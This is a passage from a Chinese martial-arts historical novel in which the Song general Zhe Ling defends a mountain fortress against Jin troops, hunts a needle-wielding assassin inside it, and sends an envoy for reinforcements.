匆匆上砦墙的风慎。他神采虽是未减,但脸上青肿处处,颈根处隐有血痕,颇为
狼狈。
风慎走近,气喘吁吁地急切道:「我与安公子同去求援,出得此山便分作两
路。安公子往吴经略处,我往张枢密处,双管齐下岂不更为稳妥?」
赵破闻言挠头道:「可那小径林木深远,绝壁处处,稍有不慎便是粉身碎骨。
连我砦中行惯了山路的砦丁也只是几人能走。只怕这位……大人和那位什么公子
走不得啊!」
折翎摇首道:「安鸿无碍,风先生却是不行。先生给张枢密的手书可修好了?
还是交予安鸿去求援,先生与我在砦中安排守御事吧!」
风慎面上惶惶,抓了赵破衣袖再三叮问后,终于在袖中抽出封信递给折翎,
顿足道:「不想我风慎聪明一生,如今却被野雁啄了眼!折将军,适才中坪事我
听了个真切,还请将军节哀!」急止了折翎还礼,又续道:「我观此砦墙并不甚
高,又是石基木垒,当敌之时,需防火攻。护河外坡陡湿滑,攻来之敌立足难稳。
可将木篱至此处路上的石板全数掀了,使行走更难。墙左山峰,如刀砍斧剁,敌
难攻而我易守。可多置弓弩擂石,与砦墙成掎角之势,相互照应。将军若觉可行,
又信得过风某,就请将军委我专责,安排上述之事。」
折翎喜道:「先生大才!便请先生尽意安排!」言罢将王锦唤至,请他派遣
人手助风慎行事。待二人去,将手中信交予安鸿道:「二弟,虽说此砦绝险,但
我看适才军械,守具不多。举砦之内,久在军中的唯有魏庆一人。砦中人与我等
兄弟,皆是江湖气重,两军攻守并不擅长。我原以为只要武功高绝,便可傲视天
下。经富平一战,方知千万人战场之上,一人之力实在渺茫。二弟此去,一求尽
速,二求援军人少质精,可在金人大队到前教授砦中人守御之术者最佳。」
安鸿抱拳道:「定不负大哥所托!」
折翎亦抱拳,吩咐了安鸿去取密谱后又对赵破道:「还请赵兄安排一个熟识
小径的得力人为安鸿带路。」
赵破点头答道:「选两人同去吧!万一路上有个闪失,不至于误了将军大事。」
待折翎首肯,便退下自去安排。
郝挚自折翎箭射敌酋后,便退过来站在折翎身旁。此刻见折翎身边无人,便
上前拱手道:「将军,昨日不见了白小六,属下与陈丹谢宝寻找一夜,在中坪后
发现一绝谷,在谷中见了两件物事。」说着,从怀中取出一条披帛与一把牛耳尖
刀。
折翎见尖刀与披帛俱是血迹斑斑,心中便是一颤。仔细辨认,披帛是晓月之
物,尖刀是自己送与白小六那把,寒气更是渐渐涌起。郝挚在旁续道:「谷中绝
壁处有血迹,小六多半坠崖了。崖边脚印交杂,大致看的出是三人纠缠。小六武
功不弱,晓月恐难以杀他,莫非……莫非……」
折翎拂袖道:「不要再说了!」
郝挚面色惶恐,却是一挺胸膛大声应道:「箭营兄弟只有我等十三人逃出生
天,山外探军情损了田力、失了佟仲,回砦途中又被金人走狗杀林童、残李七、
伤谷山,如今小六又……红纱妖女、臂上丝绦、不明宋人、谷中乱斗,皆与云夫
人、与此砦脱不得干系。将军曾言必会给我等交代,如今云夫人已去,一切休提。
但这砦中人绝不可……」
折翎大怒道:「住口!大安、陈丹、谢宝,将他绑了,重打二十军棍!我等
与砦中诸兄弟戮力同心,抵御金人,怎容他信口雌黄!」
箭营三人面面相觑,不肯动手。折翎再喝,三人这才上前,将郝挚按到在地。
王锦风慎等四人早就闻声,此时见折翎要动军法,赶忙上前拦阻,只李豫独自冷
眼旁观。
郝挚强项,仰头直视。折翎忿怒,只是要打。众人再三劝阻,折翎这才喝陆
大安将郝挚赶下墙去。待陆大安推搡着郝挚离去,风慎自转去左峰指挥砦丁配置
守具,王锦赵破向折翎庄重一礼,带了砦丁出砦破坏石板小路。
众皆散去,折翎站在砦墙之上,虽是英姿如旧,可这本就悲恸的心中却被郝
挚所言搅得更是伤怀憋闷。吩咐陈丹赶上郝陆二人,让陆大安将自己昨日傍晚的
一番言语转述郝挚后,便再无言语。箭营几人知道将主心伤,也不敢打扰,只是
静静侍立。
未久,赵破自砦外小路尽头飞奔而至,立在河边向折翎大声报道:「将军,
木篱外不远,发现金人正在掘壕沟、垒土山,似有断路之意。」
折翎尚未回言,远处已传来隐隐的厮杀声。折翎面色一紧,飞速吩咐身后箭
手道:「使一砦丁寻陈丹三人回,你等据砦墙各守睥睨,不许出战,只待放箭接
应。」言未毕,已跃身飘出砦墙,急忙忙向前掠出。
赵破飞身赶上,奇怪道:「将军何故如此惶急?」
折翎见赵破身法诡异,似是比自己还要快上半分,心中暗奇,嘴上答道:「
赵兄有所不知,金人胡种,其彪悍凶猛较契丹、西夏远胜。富平时我大宋西军甫
一遇上,便吃了大亏。所幸西军诸部久经战阵,才渐转颓势,勉强敌了个平手。
但赵哲所部终究溃退,引至大败。昨今两番守砦,我见砦丁面有骇容,显是从未
经战之新丁。今一遇金人,便近身厮杀,恐……」
折翎话未说完,二人便已掠出木篱之外。只见数十砦丁已溃,正没命向回奔
逃。王锦独自断后,已被数名金人围拢,左支右绌,眼见不敌。
赵破见状,嘿了一声,加速前冲。折翎拦之不及,只得自己定在原地,张弓
搭箭。砦丁败退如流水,折翎挽弓似磐石。一袭袭白衣自身边如飞般划过,一张
张惊恐面容直直扑来又从眼角消失。折翎沉沉叹气,调匀气息,箭矢飞出,一敌
毙命。弓弦犹颤,第二支箭已然搭好。箭离弓不远,下一支便已自身后箭筒抽出。
如是七射,王锦身边便躺倒七人,赵破未到,其围已解。
战团中,王锦身中两刀,本以为必死,却觉得周遭压力忽地一松。匆匆一看,
无翎箭遍地,便知是折翎来救。于是毫不犹疑,踉踉跄跄回奔。赵破接着,搀扶
他后退。折翎一阵连珠箭急射救下王锦,便停弓不射,意欲使臂力略为回复。对
阵金兵约有百人,见折翎神射,也不敢逼的太紧,各持了大盾分散着往前一点点
压来。
折翎待王赵二人跑回自己身边,低喝了声「快走」后,便运真气于箭,缓缓
射出。两箭出,双人死,一对盾碎,余众多不敢向前。折翎箭锋指地,跟在王赵
身后,背行着一点点退去。就在此时,路两旁林中忽发震天一声喊,各涌出百余
金兵,手持大盾,将三人归路堵了个水泄不通。折翎吃了一惊,趁伏兵立足未稳,
发箭射死几个,却也难阻兵阵做成。正面原就分散的金兵此刻竟然分的更开,一
边前逼一边在本就不宽阔的小路中硬生生让出条通路来。盾后金兵的眉眼已经清
晰可见,个个面容狰狞,目露凶光。
第九章 心腹之患
折翎又发矢射死两人,但还是难挡金人合围步伐。截断三人归路的两队金人
已将归路缺口封死,直对着的那些金人却依然保持着一条通路。通路尽头像是什
么都没有,却正是因为如此才显得分外诡异。
折翎再射一箭,不由心头惶急。以己之能,破敌不易,窜高离去却是不难。
只是身边王锦本就不以轻功见长,此刻腿上又受了刀伤,更是行动不便。赵破功
夫又不知深浅,想要一同离去,恐是难如登天。正彷徨中,赵破突然低吼一声「
随我来」,然后便架着王锦向路左密林狂掠。折翎毫不犹豫欺身跟上,紧紧追在
二人身后,一双眼紧紧盯着三队金人动向。
适才路左密林中突出那一对金兵,此刻尚有五人拖在队尾最后刚刚出林。见
三人飞速逃向自己,便叽里咕噜的大叫着擎盾举兵相迎。赵破王锦二人并未携带
兵器,只得一对拳头,一旦对上眼前金兵,定是难逃纠缠。而身后三队金兵见三
人逃窜,已经转过方向、快速围拢过来。折翎见状,知道一刻也耽搁不得,遂喝
声「随我来」,接着倏地加速越过赵王二人,就在空中将弓背在身上,探手自身
后取了两支无翎箭,如一只大鸟般扑向那五名拦路金兵。
那五名金兵面色沉稳、膀大腰圆,看到有敌来袭也不紧张,非常自然地迅速
结成一个小防御阵,一看便是久经沙场。手中两长三短五件兵器有攻有守,将空
中飞落的折翎罩在当中。折翎冷哼一声,手中用劲「喀拉」一声捏断箭杆,只留
了箭头后几寸长短。人尚未有落像,已将手中箭做暗器般甩手射出,直取持长兵
二人面门。金兵才见过折翎神射,不敢托大,急将手中盾抬起、头颈缩下遮挡闪
避。这一闪避,手中兵器便指歪了些许,折翎借着这个空当,破阵而入。三名持
短兵的金人见势不妙,执手中刀对着折翎横扫竖劈,洒出刀光一片。折翎将腰向
后一扭,险险避开刀锋,自身后再取二矢转真气飞身前送,直刺入两名使刀金人
咽喉。两名使长兵金人自忖折翎已欺近,长兵摆布不开,遂将身子压在手中盾上,
靠蛮力从两边横压过来。二人本是想将来敌挤个骨断筋折,却不料折翎身法奇快,
如泥鳅般自二人盾前滑过,一脚踢在仅存持刀金兵的下颌。骨碎之音在先,刀飞
人倒继之,最后才是两盾凭大力相碰的巨响一声。盾响之声未落,折翎已回身分
手捏住二金兵咽喉,运气碎骨,取二命于反掌之间。
这一冲一战电光火石,兔起鹘落,赵王二人只觉得空中那一声喝在耳中犹有
余韵,前方通路便已被折翎打开,不由得又是欣喜又是佩服。搀扶着跑过去与折
翎聚在一处,三队金人尚有二十余步之远。
折翎好整以暇的用脚尖挑起两柄金人朴刀递在赵王二人手中,将身上弓取下
搭箭做欲射之状。金人皆惧折翎手段,围拢之势竟为之一缓。折翎挽弓,提气扬
声道:「尔等回营告知仆散,切莫做丧家犬窜。旬日之内,我必取他性命!」言
罢,一脚踢在下颌碎裂、在地上痛苦挣扎那名金人的太阳穴上,而后与赵王二人
闪进密林。
入林之后,赵破便似到了自家院中一般,搀着王锦、带着折翎,几个拐弯便
将金人的喊杀追讨声远远抛在身后。过了盏茶工夫,砦墙左那四壁平滑如镜的平
顶山峰便出现在眼前。赵破从怀中取出火信发在空中,片刻便有人探出头来看。
不久便有长绳垂下将三人一一吊上山去。
三人甫一上山,入耳便是喊杀声一片。风慎见了折翎,亟不可待的抓了折翎
袖子临崖观战,担忧道:「砦丁蜂拥败回,一时难渡护河。陆大安带了十几个敢
出砦的砦丁过河接应,却与金人混在一处,脱身不得。此时桥上木梯不能撤,砦
门不敢关,甚是危急。将军拿个主意才是啊!」
折翎踞崖下观,只见十余个白衣砦丁正与冲上来追赶的金兵互相砍杀,虽已
是血染白衣,却仍是死死卡住了砦前斜坡远处最窄一段,寸步不让。陆大安顶在
最前,一口朴刀上下翻飞、毫无惧意,堪堪敌住左右前三面来敌。战团之后,最
后几个败卒正狼狈不堪的爬过护河木梯,往砦内逃奔。
见此情状,折翎也来不及与身后王赵客气,当机立断道:「箭营出砦,以陆
大安等人为刀牌,射杀金狗。墙上能射箭者备好箭枝,待我令下便抛射阻断,接
应回撤。不能射箭者持长兵聚至砦门后,以防敌借机冲砦!」
折翎运气扬声,众人皆闻。箭营余下五人皆在墙上,只是斜坡窄处颇远、箭
矢难及,折翎走时又严令不许出战,正急得什么也似。此刻闻令而动,真个若脱
兔一般,不一时便奔出砦门,直奔战团而去。白衣砦丁也分了大半依言持长兵据
守砦门,而留在砦墙上的持弓砦丁却有些茫然,一个个面面相觑、不知所以。
折翎见状错愕,身后赵破嘿了一声,抱拳道:「将军勿忧,我去传令讲解!」
赵破飞身去后,王锦抱拳道:「惭愧惭愧!砦丁中能战者近年多被遣出行事,
吐蕃、西贼、方腊三役损了许多。随陆兄弟出的十余人经过战事,可驱使如意。
其余人等,尚需调教。非不遵令,只是明抛射,却不明阻断之意……」
折翎恍然,点点头道:「无妨,王兄容后教授便是。折某在军中有时,行伍
之事,略有所悟。王兄若有需参详处,尽管开口。」
适才折翎单枪匹马救了自己性命,王锦便已感激至极。此时听折翎不称砦主
而称兄,心头大喜。遵遗命听令御金一事之中隐隐藏着的些许不快化作飞灰、烟
消云散。行礼道:「将军尽管放心,王锦责无旁贷!」
两人说话之时,折翎手中并未停歇,此刻已将一支箭挂在弦上。王锦话音落,
折翎道声「好」,便弯弓放箭,直取陆大安身侧不远。
折翎此箭,真气满贯,又兼居高视下,势若劈竹,随箭竟隐有风雷之声。一
金兵正欲袭击陆大安左肋空当,刀锋尚未递出,就觉得自己右肩宛如被一根大木
重重锤击,痛入骨髓。手中刀飞落一旁,整个人不由自主的向侧前抛飞,扑倒了
自己一名同伴。莫名往身下看时,只见那名同伴被一支无翎箭穿心钉在地上,不
由大骇。回视已毫无知觉的右肩,箭洞宛然,鲜血喷溅。急转头找箭的来处,却
被一口刀直劈下来,命丧黄泉。
陆大安三面受敌,渐渐守之不住,正不知如何是好,忽得折翎飞箭相助,身
左攻势缓极至无,前右两侧亦是凌乱不堪。于是心情大好、哈哈一笑,提刀往折
翎箭落处砍劈。折翎每箭出,必有敌亡,陆大安便捡亡敌四周心神稍有忽怠之人
下手,杀来砍去,战绩斐然。箭营人此时亦至,各自找了适合的位置发矢相助。
道路狭窄,几百金兵本就摆布不开,只能十数人一波上前厮杀。此刻箭雨临头,
一个个手忙脚乱只顾遮挡,顷刻间胜势化作颓势,潮水般后退。
陆大安正杀的兴起,发现金兵退却,便也一步步坠在后面追杀。砍翻了几个
金兵,正在得意时,忽然有一刀自正面劈来,迅疾非常。运足力挥刀上迎,却不
料两刀相交时,对面刀如一座小山般直压过来。惊骇之中再鼓余力,才险险将那
刀逼停在额头上不足三寸之处。咬牙运力将刀向上顶,那两刀相交处却缓缓向自
己额头压过来。刀口寒光之外,那金将的满脸虬髯已是清晰可见。
此金将带了队亲兵出现,退却的金人止了败势,又将身子护在盾后冲了回来。
战团重现纷乱,十余白衣砦丁自顾不暇,救援无力。箭营五人见陆大安不妙,集
中了箭矢往这边攒射,却被那金将亲兵拨打挡住。
陆大安心道不好,心下一横,准备撤刀用己命拼金将一伤。心思方停,手上
乍动,对面刀上忽然力道全消。陆大安起身举刀就要往前反劈过去,忽然远处听
折翎暴喝一声「退」,遂毫不思量,回身就跑。出砦的白衣砦丁在战中见陆大安
勇猛善战,心中都隐隐将他奉为主心。此时见他退却,亦皆生退心。箭营一阵连
珠羽箭洒出去,将金兵进击之势缓得一缓,白衣砦丁得以全身退去。
金兵整队欲再追,却被那金将抬手喝止。金将看了看自己身边被无翎箭穿盾
入胸,正躺在地上切齿忍痛的亲兵,眉面抽动,向砦左峰上喊道:「你,射箭很
好!我,扑散,围你不住,可惜!」
金将扑散所言虽是语调怪异,词难成句,可中气却甚是充沛,密林山间尽是
回响。折翎闻言失笑,亦扬声道:「今日承蒙款待,自当铭记!不日,折某定有
所报!」
折翎说话,扑散只直勾勾看着崖上,待身边一亲兵附在他耳旁耳语几句,方
冷哼一声,挥手下令撤兵。崖上风慎看着金兵依次而退,向前一步道:「扑散撤
兵,何不借机掩杀?」
折翎凝视崖下道:「金军整肃,非同等闲。我砦中惯战之士仅二十余,追则
必败。」
风慎眼珠一转,再道:「此时扑散无备,将军何不射之?」
折翎一笑,收弓撤箭道:「不瞒先生,以气御箭,损耗真气甚巨,虽强却不
能久。扑散所处之地,已在我射程外,适才那一箭本应穿盾射死那金狗……」
风慎不待折翎说完,拱手截断道:「风某无知,将军恕罪!」
折翎忙转身回礼道:「先生说哪里话?先生尽心竭力,折翎求之不得!还望
先生后勿难言,始终教我!」
风慎眼中射出复杂神色,片刻后一揖到地,回身呼喝砦丁摆布守具。此时砦
外陆大安等人已渡了护河回砦,砦门一闭,山崖上所有人方松了口气。几名砦丁
发现王锦腿上中刀、行动不便,赶忙上前搀扶。折翎招了名砦丁去喊大夫为王锦
包扎,又安慰王锦几句,这才自崖后下崖。
砦墙内,陆大安等十余人已是血透征衣,正在一旁由箭营五人裹伤。赵破在
砦门后不远将奔逃而回的那许多人拢在一处,一边清点伤亡,一边咒骂教训。奔
逃之人面上多有愧色,哭泣者亦不在少数。见折翎至,纷纷行礼甚恭。赵破转身
道:「将军,清点已毕。这群逃卒死了七人,重伤三人,余者皆轻伤无碍。赵破
领军不利,请将军责罚!」
折翎心内转了个念头,摇手叹道:「今日扑散设局欲赚我,王赵二兄只是恰
逢其会,何来责罚一说?不过,今日临战者皆是七尺汉子,却望敌而窜,内中竟
无一二有胆的好汉么?」
砦众闻言,尽皆色变,有愧色更重者,亦有不服而怒者。赵破先亦变色,后
做恍然。折翎扫了众人一眼,转头扬声问道:「大安,你与出砦接应的兄弟每人
赏酒一壶、肉三斤可好?」
陆大安正坐在地上被郝挚用布条勒的呲牙忍痛,闻折翎喊话便一使力跃起道
:「好!」他身旁十余个砦丁亦跃起道:「谢将军赏!」
折翎哈哈大笑,再道:「吃饱喝足,好睡一场,夜里与我一同出砦劫营可好?」
陆大安看了看左右,咧嘴与十余砦丁同道:「甚好!」
折翎转回头对面前众人道:「似这般方是大好男儿!」
众人中有一人闻言顶撞道:「那时金人来得快,我等只是猝不及防,再加未
携兵器,故而逃窜。若是有所准备,又有兵器在手,怎会不拼他娘个鱼死网破?
将军说我等不是好汉,好没道理!」
折翎上下打量说话人一番,见他年纪与自己相仿,方面阔口、虎背熊腰,一
脸不忿的站在队中,遂凝视问道:「如此说,今夜你可敢与我出砦劫营?」
说话人将胸膛一挺道:「有何不敢?休说我敢,我身边兄弟,个个都敢!」
说话人话音方落,便激起汹涌群情。众人皆捶胸扬手,口称愿往。折翎也不
言语,静待众人声息,指说话那人问道:「你叫什么名字!」
说话人大喇喇将手一拱道:「在下章兴,砦中兄弟都喊我老坑。」
折翎笑道:「老坑?好!你可敢担责?」
老坑向前一步道:「但凭将军吩咐」
折翎道:「在这一众人中选出真正敢战之士。不拘多少,整队与陆大安等人
合在一处。一个时辰后,我来整队。」
老坑道:「将军放心便是!」接着咂咂嘴,又要说话。折翎用手一指,笑道
:「酒肉却是没有!想要酒肉,自己来挣!」
老坑嘿嘿一笑,左顾右盼大声道:「兄弟们,夜里与我一同挣酒肉去!莫要
让人瞧扁了我们!」
众人七嘴八舌发喊,一时杂乱不已。折翎回身拍了拍赵破肩膀道:「言语冒
犯,赵兄勿怪!」
赵破摇头对折翎示意无碍,继而问道:「今夜劫营,会不会太急了些?」
折翎面色由轻松转作沉重,压声道:「虽然适才老坑所说属实,但砦丁怯战
亦是实情。若无一场砦丁亲历之胜,这砦子恐难守住。砦外金人只是先锋,大队
尚未开至,这场胜自是越早越好。」
赵破颔首道:「将军所言甚是!」见折翎面色沉重,顿了顿岔开话题道:「
片刻之间便已将众人战意挑起,将军所用之法甚是巧妙啊!」
一旁冷眼静观已久的李豫忽嘀咕道:「有甚妙处?还不是不当家不知柴米贵,
慷我诸葛砦之慨!」
折翎闻赵破言,已是面色一滞,李豫低声入耳后,更是摇首低眉,痛心道:
「请将不如激将!此法乃云儿教我!」
李豫闻声失语,连惯常的冷哼也忘了。赵破自知失言,正欲劝解,忽闻一声
尖啸自砦中远处传来。赵破不知所以,折翎却闻声一惊,飞速道:「安鸿示警,
我去看看。赵兄与李兄弟请谨守砦墙,切莫轻出!」言罢提起轻身、飞掠而出。
随着折翎行路,啸声不时传来,内中却没了惶急之意,只是为来人指示方向。
折翎循声来到自己房前,门户洞开,魏庆不见。急冲进房中看时,只见魏庆左目
流血,委顿在桌旁。安鸿守在床上巧云尸身旁边,手中捏着一根金针,满面警惕。
见折翎近前,扬了扬手中金针道:「娜娜为此!被我打了一掌,有伤,不重。」
折翎问明巧云尸身安好,又探查了魏庆伤势。待知他左目损伤颇重、已眇然
难医,心中不禁懊恼不已。正欲措辞安慰魏庆几句,魏庆已歉然道:「实不知胡
女居然有奇诡武艺在身,吃她偷袭以致如此!所幸安公子及时赶到,未让她触及
云夫人遗体!」折翎止住魏庆说话,准备将他扶去静处调养时,赵破一阵风般出
现在门口禀报道:「将军,大事不好!砦丁来报,养伤的两位箭营兄弟被胡女所
袭,重创……身死……」
折翎安鸿闻言变色,魏庆倏地起身,恨恨低喝了声「妖女」便一个纵身奔出
房门,直奔谷山李七养伤之处而去。折翎怒喝道:「赵破,使砦丁大索全砦!见
了克里斯蒂娜,立斩!」赵破轰然应诺、转身将去之际,折翎又扬声道:「且慢!」
顿了顿再道:「随我来!」
折翎回视,安鸿会意道:「我不离开,大哥放心!」折翎也不多言,带着赵
破三步并作两步来到克里斯蒂娜居处破门而入。屋中椅内的晓月被骇了一跳,见
破门而入者乃是折翎,登时喜上眉梢,起身快步朝门口走过来。不料折翎面色铁
青,扬手便是一掌挥出。晓月只觉得劲风如刀、扑面而来,别说动作,便是连呼
吸都不得畅快。花容变色蹙眉瞑目之时,却又觉得面前力道一偏,被带着打了几
个旋,跌倒在地。
折翎接安鸿示警赶回后连闻噩耗,心中既伤且怒。伤者,箭营余子一残两丧
;怒者,自己忽视巧云临终言语、未即刻处置克晓二女,以致有此祸事。此时虽
不能明锣明鼓大索克里斯蒂娜以免动摇军心,但可抢先于晓月处亡羊补牢,以免
重蹈覆辙。待含忿而至、一掌挥出,却并未感到有任何抵挡。弹指间往晓月脸上
一瞥,见其容颜惨淡、泪痕犹在,不由得心头一软、手掌略偏。
晓月心惊,赵破待命,皆寂而无声。折翎回掌凝视晓月,心中一时是晓月平
日乖巧,一时又是郝挚手中举着的披帛,一时是晓月昨夜灯下的墨笔涂鸦,一时
又是巧云死前那一声「晓月娜娜皆不可信」。千回百转,终是难决。半响,叹口
气道:「吩咐砦丁看守,不许她离开此屋半步!」说罢,转身离去。赵破唿哨一
声招来两名砦丁,吩咐了看守再寻折翎,哪里还有踪影。
折翎脚下比心中更急切,不一时便已到了箭营众人居处。那房外已经围拢了
一群人,多是白衣,见折翎至,不约而同让出条通路来。折翎大步流星冲进人群,
只见房门外郝挚抱着头蹲踞于地,双手狠狠的纠扯着髻旁头发;高诵立在一旁,
目中含泪,双手颤抖。折翎心中一寒,抬步迈进房中,室内情景入眼,霎时血沸
怒起。
谷山左胸,被不知什么利刃挖了个碗口大的血洞,肉碎如糜、白骨森然。李
七喉头插着一根金针,所余一臂,被硬生生扯下丢弃在一边。四壁之上,俱是喷
溅鲜血;腥气散在空中,使人欲呕。折翎懊愧而怒,怒极反笑,霍地转身问道:
「魏庆呢?」
高诵闻折翎发问,再难忍目中热泪,哽咽道:「魏庆往房中看了一眼,便去
寻那……那……那胡女了!他的眼睛……」
折翎容色一黯,摇手示意高诵不用再说,转对一白衣砦丁道:「传令下去,
全砦人在砦墙处集合,不得有一人遗漏。」待砦丁应诺,其他砦丁散去后又对高
诵道:「将箭营兄弟全都唤来,送谷山、李七一程,也好将他们两个好好安葬。」
高诵擦泪离去,折翎与郝挚各怀心事一蹲一立,宛如木雕泥塑。未久,除魏
庆外,箭营众人齐飞奔而至,屋中哀声令人闻之心碎。陆大安抽刀在手,狠狠地
砍在床上吼道:「此仇不报,何以为人!」
屋内众人纷纷随之怒吼,声震屋瓦。蹲在屋门外的郝挚闻声霍地起身,却不
料双腿已麻,一跤跌倒。折翎探手过去,想将他拉起。本以为郝挚眼中应满是愤
怒,故自己眼中带着一份歉疚,不料四目相对时见他眼光空洞,竟是一丝情绪也
无。郝挚借力站起,折翎探问再看,却看见赵破叉手垂头立在郝挚身后不远,遂
拍了拍郝挚肩膀,走到赵破处问道:「我有一事相询,请赵兄定要如实作答!」
赵破面色沉重,点头道:「将军请讲。」
折翎道:「我与云儿相识之时,克里斯蒂娜已在她身边做琴师。这女子究竟
是不是诸葛砦中之人?」
赵破摇头,答非所问道:「适才砦中亦死了四人!一老者,一男丁,两妇人,
皆是金针在喉,死状甚怖!」
折翎一怔,继而深施一礼道:「无端猜疑,请赵兄恕罪!适才我恐砦众惊惧、
动摇军心,更恐这胡女原是砦中人,故止了赵兄大索全砦之事。如今砦众在此处
围观、知此事者甚众,我心中结亦结了,还请赵兄、王兄传令举砦大索,更兼安
定人心!」
赵破还礼道:「将军说哪里话?若我是将军,逢此事亦会疑虑。还请将军放
心,砦中所余皆是同心抗敌之人。如今砦中亦有被害者,更是感同身受,大索之
事,义不容辞。至于安定人心,将军交予我与王锦二人便是!」
折翎点头道:「这胡女狡猾残忍,我怕她入夜再来杀戮……」
赵破亦点头,截断折翎道:「将军所言,亦是我心中所虑。砦中虽有一套应
内敌的法子,却数十年未曾用过,恐是有隙……」
折翎会意道:「大宋军中有结营巡哨之法,应可稍补阙漏,我使高诵助你。」
赵破道:「如此甚好!适才我已听砦丁传令集结,这便去砦墙安排一切。」
折翎道:「赵兄辛苦,高诵随后就到。」
赵破拱手离去,折翎转身入房中安慰了箭营众人几句,便吩咐将谷山李七尸
身用被子裹了,抬到中坪自己居所处。安鸿闻声而出,见了二人惨状亦是大惊失
色,悲恸不已。众人七手八脚在清晨折翎掘的坑边又掘了一坑,继而填土埋尸,
使谷山李七入土为安。
此时阴云大合,密布空中,如沙滩潮头浮沫般层层叠叠压在山间林梢之上,
似已与树间轻雾连为一体。山风穿林,草木呜咽,似边塞羌笛,又若百鬼夜哭,
与两座新坟前众人悲声合在一处。折翎凝视二坟,俄顷又将眼光转向房中。思及
短短两日夜间心头挚爱、生死弟兄俱是天人永隔,不由悲从中来。可这悲戚到了
七窍处却难以宣泄而出,反是又转回内中,惹胸口一阵烦闷。如此往复不休,整
个身子被悲烦填满,魂魄灵台似乎也被忧闷淹没。
安鸿见折翎怔怔出神,恐他伤心过度,把其臂开口道:「大哥,保重身体!」
折翎吃他一惊,深吸口气将胸中烦闷暂压道:「二弟放心,我自省得。」
安鸿见他口中虽答,但心神仍是不属,正欲借他事分其心神,抬眼却见屋角
处转出个人来。定睛一看,乃是魏庆。箭营众人大多数尚未知晓魏庆被克里斯蒂
娜伤眼之时,此时见他眇一目、目下颊上血痕犹在,遂一拥而上搀扶问讯。魏庆
也不理会,穿出人群来到折翎面前。折翎关切道:「如何了?」
魏庆施礼懊恼道:「属下循着死去砦丁尸体一路追去,却还是丢了踪……」
折翎摇手打断道:「我是问你伤势如何。」
魏庆闻言一愣,折翎续道:「这胡女伤你一目,损谷山李七,我定要将她碎
尸万段!不过,你目伤不轻,切莫再单身独寻,以防不测。」说到此处,略略扬
声对场内众人道:「你等亦是如此。」
众人应诺,独魏庆不语。半响,方如下定决心般单膝跪倒,抱拳道:「将军,
我有一事禀告!」不待折翎说话,又续道:「我乃吴玠吴经略贴身侍卫,富平战
前奉吴经略之命隐于箭营兵士中归在将军麾下,若察将军有随府州反宋降金之意,
便将将军刺杀、以绝后患。富平战败,于乱军中随将军来至此处,心中仍念吴经
略之命。前日议事厅中,我见将军情状,方知吴经略所疑不实,将军定与府州反
叛事毫无干系。当时欲向将军坦承一切,怎奈乱事频发,不得其便。今日得将军
关怀,再不说明,怎堪为人。魏庆乞为将军麾下走卒,抵抗金狗,再无二心,还
请将军恩准!」
折翎静听,面容由惊转喜。魏庆话音方落,叩首于地。折翎坦然受了魏庆三
拜,将他扶起视其目郑重道:「前事已矣,今后同心!」待魏庆颔首回应,又将
眼光在箭营众人面上一一凝视。折翎每看一人,其人便抱拳回望,待六人皆抱拳
而立,折翎扬声道:「好!自此刻起,你我兄弟便将家国事共扛于肩!内诛胡女,
外御金贼!」
场内诸人皆随折翎大呼,待折翎吩咐下守御及教砦丁结营自保事后便纷纷散
去准备。魏庆不顾眼伤,亦要与众人同去砦墙。折翎心中忽闪起一念,遂将魏庆
唤住问道:「安鸿求援,仅携了我与风慎各一封手书。吴经略军离此较近些,但
适才听你所言,却显然信我不过。若是你随安鸿同去,一来可复命,二来可代我
言明心怀,求援事必可事半功倍。只是你眼伤方被……」
魏庆听到此处,截断折翎言语,抱拳正色道:「尊令随安公子求援!」
折翎见状,也不再多说,吩咐魏庆自去结束准备,转身对安鸿道:「二弟,
那箭阵密谱可收好了?」
安鸿将衣襟略为扯开,露出怀中贴肉处一薄薄布包道:「大哥放心,我将这
密谱用油纸裹了一层,又用布包住藏在胸前,万无一失。」
折翎颔首道:「此密谱中所记八门箭阵,乃我与云儿据诸葛武侯八阵图之法
共同参详而创。变化万端、奇妙非常,射敌酋及武功高强之人有奇效。密谱所书,
甚为详尽,但花溪峡外谷山……」说道此处,折翎看了看不远处新坟,顿了顿续
道:「谷山用箭阵八门阙一,却点醒我此阵可不拘泥而用。为七星、为五花、为
三才,使其视人数之众寡所变化,结军营之阵列以抗敌。我心中有所构想,尚未
及书于密谱之上。我现将变化之法话与你知,你出山后若是得遇堪托付之人,便
将密谱连同其法传授于他……」
安鸿本是连连点头,但听得折翎语中萧索之气越发浓重,最后几句大有托后
事之意,忙打断问道:「大哥,可还记得清晨路上你我生死以待之约?」
折翎会意,挤出微笑道:「二弟多虑了!我将神臂弓改良之法授与韩五哥之
时也是这般,此刻心情不佳,以至语气如此。密谱所记,我早已烂熟于胸,只是
担忧此密谱在砦中毁于战火罢了。那神臂弓改良之后,韩五哥为其取名为克敌弓。
这密谱,二弟可也要那得授之人取个响亮的名字才好。」
安鸿见折翎容色语气皆转轻松,心下稍安,亦笑道:「定不负大哥所托。」
折翎听罢,招手示意安鸿附耳,将自己心中箭阵变化与他细细说了一遍。安
鸿依记忆复述,折翎听后指其错漏。如此几遍,直至安鸿记忆无误,方才罢手。
安鸿闭目又将阵法在心中默念了一遍,转身看了看屋内、眼光又掠过屋外新
坟,对折翎抱拳行礼道:「如此,我这便上路。大哥保重!」
折翎亦抱拳道:「二弟一路小心,早去早回。」
安鸿颔首,提气飞掠,浅荼飒飒,衣袂飘飘,起落之间,渐渐去远,化作山
间一白点,终消失不见。折翎正极目远眺,遥送安鸿时,几名白衣人自房侧转出,
为首一人一瘸一拐,正是砦外腿上中刀的王锦。
王锦带着几名砦丁来到切近,对着两座坟恭谨行了礼,才到折翎身边低声道
:「将军节哀。」
折翎颔首问道:「王兄来此何事?」
王锦道:「砦中胡女肆虐,小人恐长公主尸身有损,故此来请示将军。议事
厅后有一密室,乃是存放我历代门主牌位之处。可否将长公主尸身暂且存放在彼
处,以保无虞?」
折翎喜道:「如此甚好,我正忧心此事。多谢王兄告知!我去抱巧云出来。」
王锦连称不敢,继而为难道:「门规所限,将军恐进不得密室。」
折翎道:「我至议事厅前大石处,余下路程,有劳王兄。」
王锦不迭应允,同折翎一道携了巧云尸身至上坪议事厅前。折翎等在大石处,
待王锦与随行砦丁出厅,问明稳妥,方才一同离去。
不多时来至砦墙,多数砦众已散去,只余箭营、随陆大安出砦死战十余人及
老坑等溃兵仍在墙下等候。折翎将风慎、王锦、赵破、李豫招来跟前,共同商议
定下出兵六十之数,一众溃兵竟因能否随战争执起来。折翎见军心可用,便弃了
